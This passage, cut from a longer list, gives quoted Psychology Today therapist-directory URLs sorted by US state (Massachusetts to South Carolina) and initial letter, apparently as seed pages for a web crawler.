"https://www.psychologytoday.com/us/therapists/profile-listings/massachusetts/x", "https://www.psychologytoday.com/us/therapists/profile-listings/massachusetts/y", "https://www.psychologytoday.com/us/therapists/profile-listings/massachusetts/z", "www.psychologytoday.com/us/therapists/profile-listings/michigan/a", "https://www.psychologytoday.com/us/therapists/profile-listings/michigan/b", "https://www.psychologytoday.com/us/therapists/profile-listings/michigan/c", "https://www.psychologytoday.com/us/therapists/profile-listings/michigan/d", "https://www.psychologytoday.com/us/therapists/profile-listings/michigan/e", "https://www.psychologytoday.com/us/therapists/profile-listings/michigan/f", "https://www.psychologytoday.com/us/therapists/profile-listings/michigan/g", "https://www.psychologytoday.com/us/therapists/profile-listings/michigan/h", "https://www.psychologytoday.com/us/therapists/profile-listings/michigan/i", "https://www.psychologytoday.com/us/therapists/profile-listings/michigan/j", "https://www.psychologytoday.com/us/therapists/profile-listings/michigan/k", "https://www.psychologytoday.com/us/therapists/profile-listings/michigan/l", "https://www.psychologytoday.com/us/therapists/profile-listings/michigan/m", "https://www.psychologytoday.com/us/therapists/profile-listings/michigan/n", "https://www.psychologytoday.com/us/therapists/profile-listings/michigan/o", "https://www.psychologytoday.com/us/therapists/profile-listings/michigan/p", "https://www.psychologytoday.com/us/therapists/profile-listings/michigan/q", "https://www.psychologytoday.com/us/therapists/profile-listings/michigan/r", "https://www.psychologytoday.com/us/therapists/profile-listings/michigan/s", "https://www.psychologytoday.com/us/therapists/profile-listings/michigan/t", "https://www.psychologytoday.com/us/therapists/profile-listings/michigan/u", "https://www.psychologytoday.com/us/therapists/profile-listings/michigan/v", "https://www.psychologytoday.com/us/therapists/profile-listings/michigan/w", "https://www.psychologytoday.com/us/therapists/profile-listings/michigan/y", "https://www.psychologytoday.com/us/therapists/profile-listings/michigan/z", "www.psychologytoday.com/us/therapists/profile-listings/minnesota/a", "https://www.psychologytoday.com/us/therapists/profile-listings/minnesota/b", "https://www.psychologytoday.com/us/therapists/profile-listings/minnesota/c", "https://www.psychologytoday.com/us/therapists/profile-listings/minnesota/d", "https://www.psychologytoday.com/us/therapists/profile-listings/minnesota/e", "https://www.psychologytoday.com/us/therapists/profile-listings/minnesota/f", "https://www.psychologytoday.com/us/therapists/profile-listings/minnesota/g", "https://www.psychologytoday.com/us/therapists/profile-listings/minnesota/h", "https://www.psychologytoday.com/us/therapists/profile-listings/minnesota/i", "https://www.psychologytoday.com/us/therapists/profile-listings/minnesota/j", "https://www.psychologytoday.com/us/therapists/profile-listings/minnesota/k", "https://www.psychologytoday.com/us/therapists/profile-listings/minnesota/l", "https://www.psychologytoday.com/us/therapists/profile-listings/minnesota/m", "https://www.psychologytoday.com/us/therapists/profile-listings/minnesota/n", "https://www.psychologytoday.com/us/therapists/profile-listings/minnesota/o", "https://www.psychologytoday.com/us/therapists/profile-listings/minnesota/p", "https://www.psychologytoday.com/us/therapists/profile-listings/minnesota/q", "https://www.psychologytoday.com/us/therapists/profile-listings/minnesota/r", "https://www.psychologytoday.com/us/therapists/profile-listings/minnesota/s", "https://www.psychologytoday.com/us/therapists/profile-listings/minnesota/t", "https://www.psychologytoday.com/us/therapists/profile-listings/minnesota/u", "https://www.psychologytoday.com/us/therapists/profile-listings/minnesota/v", "https://www.psychologytoday.com/us/therapists/profile-listings/minnesota/w", "https://www.psychologytoday.com/us/therapists/profile-listings/minnesota/x", "https://www.psychologytoday.com/us/therapists/profile-listings/minnesota/y", "https://www.psychologytoday.com/us/therapists/profile-listings/minnesota/z", "www.psychologytoday.com/us/therapists/profile-listings/mississippi/a", "https://www.psychologytoday.com/us/therapists/profile-listings/mississippi/b", "https://www.psychologytoday.com/us/therapists/profile-listings/mississippi/c", "https://www.psychologytoday.com/us/therapists/profile-listings/mississippi/d", "https://www.psychologytoday.com/us/therapists/profile-listings/mississippi/e", "https://www.psychologytoday.com/us/therapists/profile-listings/mississippi/f", "https://www.psychologytoday.com/us/therapists/profile-listings/mississippi/g", "https://www.psychologytoday.com/us/therapists/profile-listings/mississippi/h", "https://www.psychologytoday.com/us/therapists/profile-listings/mississippi/j", "https://www.psychologytoday.com/us/therapists/profile-listings/mississippi/k", "https://www.psychologytoday.com/us/therapists/profile-listings/mississippi/l", "https://www.psychologytoday.com/us/therapists/profile-listings/mississippi/m", "https://www.psychologytoday.com/us/therapists/profile-listings/mississippi/n", "https://www.psychologytoday.com/us/therapists/profile-listings/mississippi/o", "https://www.psychologytoday.com/us/therapists/profile-listings/mississippi/p", "https://www.psychologytoday.com/us/therapists/profile-listings/mississippi/q", "https://www.psychologytoday.com/us/therapists/profile-listings/mississippi/r", "https://www.psychologytoday.com/us/therapists/profile-listings/mississippi/s", "https://www.psychologytoday.com/us/therapists/profile-listings/mississippi/t", "https://www.psychologytoday.com/us/therapists/profile-listings/mississippi/v", "https://www.psychologytoday.com/us/therapists/profile-listings/mississippi/w", "https://www.psychologytoday.com/us/therapists/profile-listings/mississippi/y", "www.psychologytoday.com/us/therapists/profile-listings/missouri/a", "https://www.psychologytoday.com/us/therapists/profile-listings/missouri/b", "https://www.psychologytoday.com/us/therapists/profile-listings/missouri/c", "https://www.psychologytoday.com/us/therapists/profile-listings/missouri/d", "https://www.psychologytoday.com/us/therapists/profile-listings/missouri/e", "https://www.psychologytoday.com/us/therapists/profile-listings/missouri/f", "https://www.psychologytoday.com/us/therapists/profile-listings/missouri/g", "https://www.psychologytoday.com/us/therapists/profile-listings/missouri/h", "https://www.psychologytoday.com/us/therapists/profile-listings/missouri/i", "https://www.psychologytoday.com/us/therapists/profile-listings/missouri/j", "https://www.psychologytoday.com/us/therapists/profile-listings/missouri/k", "https://www.psychologytoday.com/us/therapists/profile-listings/missouri/l", "https://www.psychologytoday.com/us/therapists/profile-listings/missouri/m", "https://www.psychologytoday.com/us/therapists/profile-listings/missouri/n", "https://www.psychologytoday.com/us/therapists/profile-listings/missouri/o", "https://www.psychologytoday.com/us/therapists/profile-listings/missouri/p", "https://www.psychologytoday.com/us/therapists/profile-listings/missouri/q", "https://www.psychologytoday.com/us/therapists/profile-listings/missouri/r", "https://www.psychologytoday.com/us/therapists/profile-listings/missouri/s", "https://www.psychologytoday.com/us/therapists/profile-listings/missouri/t", "https://www.psychologytoday.com/us/therapists/profile-listings/missouri/u", "https://www.psychologytoday.com/us/therapists/profile-listings/missouri/v", "https://www.psychologytoday.com/us/therapists/profile-listings/missouri/w", "https://www.psychologytoday.com/us/therapists/profile-listings/missouri/y", "https://www.psychologytoday.com/us/therapists/profile-listings/missouri/z", "www.psychologytoday.com/us/therapists/profile-listings/montana/a", "https://www.psychologytoday.com/us/therapists/profile-listings/montana/b", "https://www.psychologytoday.com/us/therapists/profile-listings/montana/c", "https://www.psychologytoday.com/us/therapists/profile-listings/montana/d", "https://www.psychologytoday.com/us/therapists/profile-listings/montana/e", "https://www.psychologytoday.com/us/therapists/profile-listings/montana/f", "https://www.psychologytoday.com/us/therapists/profile-listings/montana/g", "https://www.psychologytoday.com/us/therapists/profile-listings/montana/h", "https://www.psychologytoday.com/us/therapists/profile-listings/montana/i", "https://www.psychologytoday.com/us/therapists/profile-listings/montana/j", "https://www.psychologytoday.com/us/therapists/profile-listings/montana/k", "https://www.psychologytoday.com/us/therapists/profile-listings/montana/l", "https://www.psychologytoday.com/us/therapists/profile-listings/montana/m", "https://www.psychologytoday.com/us/therapists/profile-listings/montana/n", "https://www.psychologytoday.com/us/therapists/profile-listings/montana/o", "https://www.psychologytoday.com/us/therapists/profile-listings/montana/p", "https://www.psychologytoday.com/us/therapists/profile-listings/montana/q", "https://www.psychologytoday.com/us/therapists/profile-listings/montana/r", "https://www.psychologytoday.com/us/therapists/profile-listings/montana/s", "https://www.psychologytoday.com/us/therapists/profile-listings/montana/t", "https://www.psychologytoday.com/us/therapists/profile-listings/montana/u", "https://www.psychologytoday.com/us/therapists/profile-listings/montana/v", "https://www.psychologytoday.com/us/therapists/profile-listings/montana/w", "https://www.psychologytoday.com/us/therapists/profile-listings/montana/y", "https://www.psychologytoday.com/us/therapists/profile-listings/montana/z", "www.psychologytoday.com/us/therapists/profile-listings/nebraska/a", "https://www.psychologytoday.com/us/therapists/profile-listings/nebraska/b", "https://www.psychologytoday.com/us/therapists/profile-listings/nebraska/c", "https://www.psychologytoday.com/us/therapists/profile-listings/nebraska/d", "https://www.psychologytoday.com/us/therapists/profile-listings/nebraska/e", "https://www.psychologytoday.com/us/therapists/profile-listings/nebraska/f", "https://www.psychologytoday.com/us/therapists/profile-listings/nebraska/g", "https://www.psychologytoday.com/us/therapists/profile-listings/nebraska/h", "https://www.psychologytoday.com/us/therapists/profile-listings/nebraska/i", "https://www.psychologytoday.com/us/therapists/profile-listings/nebraska/j", "https://www.psychologytoday.com/us/therapists/profile-listings/nebraska/k", "https://www.psychologytoday.com/us/therapists/profile-listings/nebraska/l", "https://www.psychologytoday.com/us/therapists/profile-listings/nebraska/m", "https://www.psychologytoday.com/us/therapists/profile-listings/nebraska/n", "https://www.psychologytoday.com/us/therapists/profile-listings/nebraska/o", "https://www.psychologytoday.com/us/therapists/profile-listings/nebraska/p", "https://www.psychologytoday.com/us/therapists/profile-listings/nebraska/q", "https://www.psychologytoday.com/us/therapists/profile-listings/nebraska/r", "https://www.psychologytoday.com/us/therapists/profile-listings/nebraska/s", "https://www.psychologytoday.com/us/therapists/profile-listings/nebraska/t", "https://www.psychologytoday.com/us/therapists/profile-listings/nebraska/u", "https://www.psychologytoday.com/us/therapists/profile-listings/nebraska/v", "https://www.psychologytoday.com/us/therapists/profile-listings/nebraska/w", "https://www.psychologytoday.com/us/therapists/profile-listings/nebraska/y", "https://www.psychologytoday.com/us/therapists/profile-listings/nebraska/z", "www.psychologytoday.com/us/therapists/profile-listings/nevada/a", "https://www.psychologytoday.com/us/therapists/profile-listings/nevada/b", "https://www.psychologytoday.com/us/therapists/profile-listings/nevada/c", "https://www.psychologytoday.com/us/therapists/profile-listings/nevada/d", "https://www.psychologytoday.com/us/therapists/profile-listings/nevada/e", "https://www.psychologytoday.com/us/therapists/profile-listings/nevada/f", "https://www.psychologytoday.com/us/therapists/profile-listings/nevada/g", "https://www.psychologytoday.com/us/therapists/profile-listings/nevada/h", "https://www.psychologytoday.com/us/therapists/profile-listings/nevada/i", "https://www.psychologytoday.com/us/therapists/profile-listings/nevada/j", "https://www.psychologytoday.com/us/therapists/profile-listings/nevada/k", "https://www.psychologytoday.com/us/therapists/profile-listings/nevada/l", "https://www.psychologytoday.com/us/therapists/profile-listings/nevada/m", "https://www.psychologytoday.com/us/therapists/profile-listings/nevada/n", "https://www.psychologytoday.com/us/therapists/profile-listings/nevada/o", "https://www.psychologytoday.com/us/therapists/profile-listings/nevada/p", "https://www.psychologytoday.com/us/therapists/profile-listings/nevada/q", "https://www.psychologytoday.com/us/therapists/profile-listings/nevada/r", "https://www.psychologytoday.com/us/therapists/profile-listings/nevada/s", "https://www.psychologytoday.com/us/therapists/profile-listings/nevada/t", "https://www.psychologytoday.com/us/therapists/profile-listings/nevada/u", "https://www.psychologytoday.com/us/therapists/profile-listings/nevada/v", "https://www.psychologytoday.com/us/therapists/profile-listings/nevada/w", "https://www.psychologytoday.com/us/therapists/profile-listings/nevada/y", "https://www.psychologytoday.com/us/therapists/profile-listings/nevada/z", "www.psychologytoday.com/us/therapists/profile-listings/new-hampshire/a", "https://www.psychologytoday.com/us/therapists/profile-listings/new-hampshire/b", "https://www.psychologytoday.com/us/therapists/profile-listings/new-hampshire/c", "https://www.psychologytoday.com/us/therapists/profile-listings/new-hampshire/d", "https://www.psychologytoday.com/us/therapists/profile-listings/new-hampshire/e", "https://www.psychologytoday.com/us/therapists/profile-listings/new-hampshire/f", "https://www.psychologytoday.com/us/therapists/profile-listings/new-hampshire/g", "https://www.psychologytoday.com/us/therapists/profile-listings/new-hampshire/h", "https://www.psychologytoday.com/us/therapists/profile-listings/new-hampshire/i", "https://www.psychologytoday.com/us/therapists/profile-listings/new-hampshire/j", "https://www.psychologytoday.com/us/therapists/profile-listings/new-hampshire/k", "https://www.psychologytoday.com/us/therapists/profile-listings/new-hampshire/l", "https://www.psychologytoday.com/us/therapists/profile-listings/new-hampshire/m", "https://www.psychologytoday.com/us/therapists/profile-listings/new-hampshire/n", "https://www.psychologytoday.com/us/therapists/profile-listings/new-hampshire/o", "https://www.psychologytoday.com/us/therapists/profile-listings/new-hampshire/p", "https://www.psychologytoday.com/us/therapists/profile-listings/new-hampshire/q", "https://www.psychologytoday.com/us/therapists/profile-listings/new-hampshire/r", "https://www.psychologytoday.com/us/therapists/profile-listings/new-hampshire/s", "https://www.psychologytoday.com/us/therapists/profile-listings/new-hampshire/t", "https://www.psychologytoday.com/us/therapists/profile-listings/new-hampshire/u", "https://www.psychologytoday.com/us/therapists/profile-listings/new-hampshire/v", "https://www.psychologytoday.com/us/therapists/profile-listings/new-hampshire/w", "https://www.psychologytoday.com/us/therapists/profile-listings/new-hampshire/y", "https://www.psychologytoday.com/us/therapists/profile-listings/new-hampshire/z", "www.psychologytoday.com/us/therapists/profile-listings/new-jersey/a", "https://www.psychologytoday.com/us/therapists/profile-listings/new-jersey/b", "https://www.psychologytoday.com/us/therapists/profile-listings/new-jersey/c", "https://www.psychologytoday.com/us/therapists/profile-listings/new-jersey/d", "https://www.psychologytoday.com/us/therapists/profile-listings/new-jersey/e", "https://www.psychologytoday.com/us/therapists/profile-listings/new-jersey/f", "https://www.psychologytoday.com/us/therapists/profile-listings/new-jersey/g", "https://www.psychologytoday.com/us/therapists/profile-listings/new-jersey/h", "https://www.psychologytoday.com/us/therapists/profile-listings/new-jersey/i", "https://www.psychologytoday.com/us/therapists/profile-listings/new-jersey/j", "https://www.psychologytoday.com/us/therapists/profile-listings/new-jersey/k", "https://www.psychologytoday.com/us/therapists/profile-listings/new-jersey/l", "https://www.psychologytoday.com/us/therapists/profile-listings/new-jersey/m", "https://www.psychologytoday.com/us/therapists/profile-listings/new-jersey/n", "https://www.psychologytoday.com/us/therapists/profile-listings/new-jersey/o", "https://www.psychologytoday.com/us/therapists/profile-listings/new-jersey/p", "https://www.psychologytoday.com/us/therapists/profile-listings/new-jersey/q", "https://www.psychologytoday.com/us/therapists/profile-listings/new-jersey/r", "https://www.psychologytoday.com/us/therapists/profile-listings/new-jersey/s", "https://www.psychologytoday.com/us/therapists/profile-listings/new-jersey/t", "https://www.psychologytoday.com/us/therapists/profile-listings/new-jersey/u", "https://www.psychologytoday.com/us/therapists/profile-listings/new-jersey/v", "https://www.psychologytoday.com/us/therapists/profile-listings/new-jersey/w", "https://www.psychologytoday.com/us/therapists/profile-listings/new-jersey/y", "https://www.psychologytoday.com/us/therapists/profile-listings/new-jersey/z", "www.psychologytoday.com/us/therapists/profile-listings/new-mexico/a", "https://www.psychologytoday.com/us/therapists/profile-listings/new-mexico/b", "https://www.psychologytoday.com/us/therapists/profile-listings/new-mexico/c", "https://www.psychologytoday.com/us/therapists/profile-listings/new-mexico/d", "https://www.psychologytoday.com/us/therapists/profile-listings/new-mexico/e", "https://www.psychologytoday.com/us/therapists/profile-listings/new-mexico/f", "https://www.psychologytoday.com/us/therapists/profile-listings/new-mexico/g", "https://www.psychologytoday.com/us/therapists/profile-listings/new-mexico/h", "https://www.psychologytoday.com/us/therapists/profile-listings/new-mexico/i", "https://www.psychologytoday.com/us/therapists/profile-listings/new-mexico/j", "https://www.psychologytoday.com/us/therapists/profile-listings/new-mexico/k", "https://www.psychologytoday.com/us/therapists/profile-listings/new-mexico/l", "https://www.psychologytoday.com/us/therapists/profile-listings/new-mexico/m", "https://www.psychologytoday.com/us/therapists/profile-listings/new-mexico/n", "https://www.psychologytoday.com/us/therapists/profile-listings/new-mexico/o", "https://www.psychologytoday.com/us/therapists/profile-listings/new-mexico/p", "https://www.psychologytoday.com/us/therapists/profile-listings/new-mexico/q", "https://www.psychologytoday.com/us/therapists/profile-listings/new-mexico/r", "https://www.psychologytoday.com/us/therapists/profile-listings/new-mexico/s", "https://www.psychologytoday.com/us/therapists/profile-listings/new-mexico/t", "https://www.psychologytoday.com/us/therapists/profile-listings/new-mexico/u", "https://www.psychologytoday.com/us/therapists/profile-listings/new-mexico/v", "https://www.psychologytoday.com/us/therapists/profile-listings/new-mexico/w", "https://www.psychologytoday.com/us/therapists/profile-listings/new-mexico/y", "https://www.psychologytoday.com/us/therapists/profile-listings/new-mexico/z", "www.psychologytoday.com/us/therapists/profile-listings/new-york/a", "https://www.psychologytoday.com/us/therapists/profile-listings/new-york/b", "https://www.psychologytoday.com/us/therapists/profile-listings/new-york/c", "https://www.psychologytoday.com/us/therapists/profile-listings/new-york/d", "https://www.psychologytoday.com/us/therapists/profile-listings/new-york/e", "https://www.psychologytoday.com/us/therapists/profile-listings/new-york/f", "https://www.psychologytoday.com/us/therapists/profile-listings/new-york/g", "https://www.psychologytoday.com/us/therapists/profile-listings/new-york/h", "https://www.psychologytoday.com/us/therapists/profile-listings/new-york/i", "https://www.psychologytoday.com/us/therapists/profile-listings/new-york/j", "https://www.psychologytoday.com/us/therapists/profile-listings/new-york/k", "https://www.psychologytoday.com/us/therapists/profile-listings/new-york/l", "https://www.psychologytoday.com/us/therapists/profile-listings/new-york/m", "https://www.psychologytoday.com/us/therapists/profile-listings/new-york/n", "https://www.psychologytoday.com/us/therapists/profile-listings/new-york/o", "https://www.psychologytoday.com/us/therapists/profile-listings/new-york/p", "https://www.psychologytoday.com/us/therapists/profile-listings/new-york/q", "https://www.psychologytoday.com/us/therapists/profile-listings/new-york/r", "https://www.psychologytoday.com/us/therapists/profile-listings/new-york/s", "https://www.psychologytoday.com/us/therapists/profile-listings/new-york/t", "https://www.psychologytoday.com/us/therapists/profile-listings/new-york/u", "https://www.psychologytoday.com/us/therapists/profile-listings/new-york/v", "https://www.psychologytoday.com/us/therapists/profile-listings/new-york/w", "https://www.psychologytoday.com/us/therapists/profile-listings/new-york/x" "https://www.psychologytoday.com/us/therapists/profile-listings/new-york/y", "https://www.psychologytoday.com/us/therapists/profile-listings/new-york/z", "www.psychologytoday.com/us/therapists/profile-listings/north-carolina/2", "www.psychologytoday.com/us/therapists/profile-listings/north-carolina/a", "https://www.psychologytoday.com/us/therapists/profile-listings/north-carolina/b", "https://www.psychologytoday.com/us/therapists/profile-listings/north-carolina/c", "https://www.psychologytoday.com/us/therapists/profile-listings/north-carolina/d", "https://www.psychologytoday.com/us/therapists/profile-listings/north-carolina/e", "https://www.psychologytoday.com/us/therapists/profile-listings/north-carolina/f", "https://www.psychologytoday.com/us/therapists/profile-listings/north-carolina/g", "https://www.psychologytoday.com/us/therapists/profile-listings/north-carolina/h", "https://www.psychologytoday.com/us/therapists/profile-listings/north-carolina/i", "https://www.psychologytoday.com/us/therapists/profile-listings/north-carolina/j", "https://www.psychologytoday.com/us/therapists/profile-listings/north-carolina/k", "https://www.psychologytoday.com/us/therapists/profile-listings/north-carolina/l", "https://www.psychologytoday.com/us/therapists/profile-listings/north-carolina/m", "https://www.psychologytoday.com/us/therapists/profile-listings/north-carolina/n", "https://www.psychologytoday.com/us/therapists/profile-listings/north-carolina/o", "https://www.psychologytoday.com/us/therapists/profile-listings/north-carolina/p", "https://www.psychologytoday.com/us/therapists/profile-listings/north-carolina/q", "https://www.psychologytoday.com/us/therapists/profile-listings/north-carolina/r", "https://www.psychologytoday.com/us/therapists/profile-listings/north-carolina/s", "https://www.psychologytoday.com/us/therapists/profile-listings/north-carolina/t", "https://www.psychologytoday.com/us/therapists/profile-listings/north-carolina/u", "https://www.psychologytoday.com/us/therapists/profile-listings/north-carolina/v", "https://www.psychologytoday.com/us/therapists/profile-listings/north-carolina/w", "https://www.psychologytoday.com/us/therapists/profile-listings/north-carolina/x", "https://www.psychologytoday.com/us/therapists/profile-listings/north-carolina/y", "https://www.psychologytoday.com/us/therapists/profile-listings/north-carolina/z", "www.psychologytoday.com/us/therapists/profile-listings/north-dakota/2", "www.psychologytoday.com/us/therapists/profile-listings/north-dakota/a", "https://www.psychologytoday.com/us/therapists/profile-listings/north-dakota/b", "https://www.psychologytoday.com/us/therapists/profile-listings/north-dakota/c", "https://www.psychologytoday.com/us/therapists/profile-listings/north-dakota/d", "https://www.psychologytoday.com/us/therapists/profile-listings/north-dakota/e", "https://www.psychologytoday.com/us/therapists/profile-listings/north-dakota/f", "https://www.psychologytoday.com/us/therapists/profile-listings/north-dakota/g", "https://www.psychologytoday.com/us/therapists/profile-listings/north-dakota/h", "https://www.psychologytoday.com/us/therapists/profile-listings/north-dakota/i", "https://www.psychologytoday.com/us/therapists/profile-listings/north-dakota/j", "https://www.psychologytoday.com/us/therapists/profile-listings/north-dakota/k", "https://www.psychologytoday.com/us/therapists/profile-listings/north-dakota/l", "https://www.psychologytoday.com/us/therapists/profile-listings/north-dakota/m", "https://www.psychologytoday.com/us/therapists/profile-listings/north-dakota/n", "https://www.psychologytoday.com/us/therapists/profile-listings/north-dakota/o", "https://www.psychologytoday.com/us/therapists/profile-listings/north-dakota/p", "https://www.psychologytoday.com/us/therapists/profile-listings/north-dakota/q", "https://www.psychologytoday.com/us/therapists/profile-listings/north-dakota/r", "https://www.psychologytoday.com/us/therapists/profile-listings/north-dakota/s", "https://www.psychologytoday.com/us/therapists/profile-listings/north-dakota/t", "https://www.psychologytoday.com/us/therapists/profile-listings/north-dakota/w", "https://www.psychologytoday.com/us/therapists/profile-listings/north-dakota/y", "https://www.psychologytoday.com/us/therapists/profile-listings/north-dakota/z", "www.psychologytoday.com/us/therapists/profile-listings/ohio/a", "https://www.psychologytoday.com/us/therapists/profile-listings/ohio/b", "https://www.psychologytoday.com/us/therapists/profile-listings/ohio/c", "https://www.psychologytoday.com/us/therapists/profile-listings/ohio/d", "https://www.psychologytoday.com/us/therapists/profile-listings/ohio/e", "https://www.psychologytoday.com/us/therapists/profile-listings/ohio/f", "https://www.psychologytoday.com/us/therapists/profile-listings/ohio/g", "https://www.psychologytoday.com/us/therapists/profile-listings/ohio/h", "https://www.psychologytoday.com/us/therapists/profile-listings/ohio/i", "https://www.psychologytoday.com/us/therapists/profile-listings/ohio/j", "https://www.psychologytoday.com/us/therapists/profile-listings/ohio/k", "https://www.psychologytoday.com/us/therapists/profile-listings/ohio/l", "https://www.psychologytoday.com/us/therapists/profile-listings/ohio/m", "https://www.psychologytoday.com/us/therapists/profile-listings/ohio/n", "https://www.psychologytoday.com/us/therapists/profile-listings/ohio/o", "https://www.psychologytoday.com/us/therapists/profile-listings/ohio/p", "https://www.psychologytoday.com/us/therapists/profile-listings/ohio/q", "https://www.psychologytoday.com/us/therapists/profile-listings/ohio/r", "https://www.psychologytoday.com/us/therapists/profile-listings/ohio/s", "https://www.psychologytoday.com/us/therapists/profile-listings/ohio/t", "https://www.psychologytoday.com/us/therapists/profile-listings/ohio/u", "https://www.psychologytoday.com/us/therapists/profile-listings/ohio/v", "https://www.psychologytoday.com/us/therapists/profile-listings/ohio/w", "https://www.psychologytoday.com/us/therapists/profile-listings/ohio/y", "https://www.psychologytoday.com/us/therapists/profile-listings/ohio/z", "www.psychologytoday.com/us/therapists/profile-listings/oklahoma/a", "https://www.psychologytoday.com/us/therapists/profile-listings/oklahoma/b", "https://www.psychologytoday.com/us/therapists/profile-listings/oklahoma/c", "https://www.psychologytoday.com/us/therapists/profile-listings/oklahoma/d", "https://www.psychologytoday.com/us/therapists/profile-listings/oklahoma/e", "https://www.psychologytoday.com/us/therapists/profile-listings/oklahoma/f", "https://www.psychologytoday.com/us/therapists/profile-listings/oklahoma/g", "https://www.psychologytoday.com/us/therapists/profile-listings/oklahoma/h", "https://www.psychologytoday.com/us/therapists/profile-listings/oklahoma/i", "https://www.psychologytoday.com/us/therapists/profile-listings/oklahoma/j", "https://www.psychologytoday.com/us/therapists/profile-listings/oklahoma/k", "https://www.psychologytoday.com/us/therapists/profile-listings/oklahoma/l", "https://www.psychologytoday.com/us/therapists/profile-listings/oklahoma/m", "https://www.psychologytoday.com/us/therapists/profile-listings/oklahoma/n", "https://www.psychologytoday.com/us/therapists/profile-listings/oklahoma/o", "https://www.psychologytoday.com/us/therapists/profile-listings/oklahoma/p", "https://www.psychologytoday.com/us/therapists/profile-listings/oklahoma/q", "https://www.psychologytoday.com/us/therapists/profile-listings/oklahoma/r", "https://www.psychologytoday.com/us/therapists/profile-listings/oklahoma/s", "https://www.psychologytoday.com/us/therapists/profile-listings/oklahoma/t", "https://www.psychologytoday.com/us/therapists/profile-listings/oklahoma/u", "https://www.psychologytoday.com/us/therapists/profile-listings/oklahoma/v", "https://www.psychologytoday.com/us/therapists/profile-listings/oklahoma/w", "https://www.psychologytoday.com/us/therapists/profile-listings/oklahoma/y", "https://www.psychologytoday.com/us/therapists/profile-listings/oklahoma/z", "www.psychologytoday.com/us/therapists/profile-listings/oregon/a", "https://www.psychologytoday.com/us/therapists/profile-listings/oregon/b", "https://www.psychologytoday.com/us/therapists/profile-listings/oregon/c", "https://www.psychologytoday.com/us/therapists/profile-listings/oregon/d", "https://www.psychologytoday.com/us/therapists/profile-listings/oregon/e", "https://www.psychologytoday.com/us/therapists/profile-listings/oregon/f", "https://www.psychologytoday.com/us/therapists/profile-listings/oregon/g", "https://www.psychologytoday.com/us/therapists/profile-listings/oregon/h", "https://www.psychologytoday.com/us/therapists/profile-listings/oregon/i", "https://www.psychologytoday.com/us/therapists/profile-listings/oregon/j", "https://www.psychologytoday.com/us/therapists/profile-listings/oregon/k", "https://www.psychologytoday.com/us/therapists/profile-listings/oregon/l", "https://www.psychologytoday.com/us/therapists/profile-listings/oregon/m", "https://www.psychologytoday.com/us/therapists/profile-listings/oregon/n", "https://www.psychologytoday.com/us/therapists/profile-listings/oregon/o", "https://www.psychologytoday.com/us/therapists/profile-listings/oregon/p", "https://www.psychologytoday.com/us/therapists/profile-listings/oregon/q", "https://www.psychologytoday.com/us/therapists/profile-listings/oregon/r", "https://www.psychologytoday.com/us/therapists/profile-listings/oregon/s", "https://www.psychologytoday.com/us/therapists/profile-listings/oregon/t", "https://www.psychologytoday.com/us/therapists/profile-listings/oregon/u", "https://www.psychologytoday.com/us/therapists/profile-listings/oregon/v", "https://www.psychologytoday.com/us/therapists/profile-listings/oregon/w", "https://www.psychologytoday.com/us/therapists/profile-listings/oregon/y", "https://www.psychologytoday.com/us/therapists/profile-listings/oregon/z", "www.psychologytoday.com/us/therapists/profile-listings/pennsylvania/a", "https://www.psychologytoday.com/us/therapists/profile-listings/pennsylvania/b", "https://www.psychologytoday.com/us/therapists/profile-listings/pennsylvania/c", "https://www.psychologytoday.com/us/therapists/profile-listings/pennsylvania/d", "https://www.psychologytoday.com/us/therapists/profile-listings/pennsylvania/e", "https://www.psychologytoday.com/us/therapists/profile-listings/pennsylvania/f", "https://www.psychologytoday.com/us/therapists/profile-listings/pennsylvania/g", "https://www.psychologytoday.com/us/therapists/profile-listings/pennsylvania/h", "https://www.psychologytoday.com/us/therapists/profile-listings/pennsylvania/i", "https://www.psychologytoday.com/us/therapists/profile-listings/pennsylvania/j", "https://www.psychologytoday.com/us/therapists/profile-listings/pennsylvania/k", "https://www.psychologytoday.com/us/therapists/profile-listings/pennsylvania/l", "https://www.psychologytoday.com/us/therapists/profile-listings/pennsylvania/m", "https://www.psychologytoday.com/us/therapists/profile-listings/pennsylvania/n", "https://www.psychologytoday.com/us/therapists/profile-listings/pennsylvania/o", "https://www.psychologytoday.com/us/therapists/profile-listings/pennsylvania/p", "https://www.psychologytoday.com/us/therapists/profile-listings/pennsylvania/q", "https://www.psychologytoday.com/us/therapists/profile-listings/pennsylvania/r", "https://www.psychologytoday.com/us/therapists/profile-listings/pennsylvania/s", "https://www.psychologytoday.com/us/therapists/profile-listings/pennsylvania/t", "https://www.psychologytoday.com/us/therapists/profile-listings/pennsylvania/u", "https://www.psychologytoday.com/us/therapists/profile-listings/pennsylvania/v", "https://www.psychologytoday.com/us/therapists/profile-listings/pennsylvania/w", "https://www.psychologytoday.com/us/therapists/profile-listings/pennsylvania/y", "https://www.psychologytoday.com/us/therapists/profile-listings/pennsylvania/z", "www.psychologytoday.com/us/therapists/profile-listings/rhode-island/a", "https://www.psychologytoday.com/us/therapists/profile-listings/rhode-island/b", "https://www.psychologytoday.com/us/therapists/profile-listings/rhode-island/c", "https://www.psychologytoday.com/us/therapists/profile-listings/rhode-island/d", "https://www.psychologytoday.com/us/therapists/profile-listings/rhode-island/e", "https://www.psychologytoday.com/us/therapists/profile-listings/rhode-island/f", "https://www.psychologytoday.com/us/therapists/profile-listings/rhode-island/g", "https://www.psychologytoday.com/us/therapists/profile-listings/rhode-island/h", "https://www.psychologytoday.com/us/therapists/profile-listings/rhode-island/i", "https://www.psychologytoday.com/us/therapists/profile-listings/rhode-island/j", "https://www.psychologytoday.com/us/therapists/profile-listings/rhode-island/k", "https://www.psychologytoday.com/us/therapists/profile-listings/rhode-island/l", "https://www.psychologytoday.com/us/therapists/profile-listings/rhode-island/m", "https://www.psychologytoday.com/us/therapists/profile-listings/rhode-island/n", "https://www.psychologytoday.com/us/therapists/profile-listings/rhode-island/o", "https://www.psychologytoday.com/us/therapists/profile-listings/rhode-island/p", "https://www.psychologytoday.com/us/therapists/profile-listings/rhode-island/q", "https://www.psychologytoday.com/us/therapists/profile-listings/rhode-island/r", "https://www.psychologytoday.com/us/therapists/profile-listings/rhode-island/s", "https://www.psychologytoday.com/us/therapists/profile-listings/rhode-island/t", "https://www.psychologytoday.com/us/therapists/profile-listings/rhode-island/v", "https://www.psychologytoday.com/us/therapists/profile-listings/rhode-island/w", "https://www.psychologytoday.com/us/therapists/profile-listings/rhode-island/x", "https://www.psychologytoday.com/us/therapists/profile-listings/rhode-island/y", "https://www.psychologytoday.com/us/therapists/profile-listings/rhode-island/z", "www.psychologytoday.com/us/therapists/profile-listings/south-carolina/a", 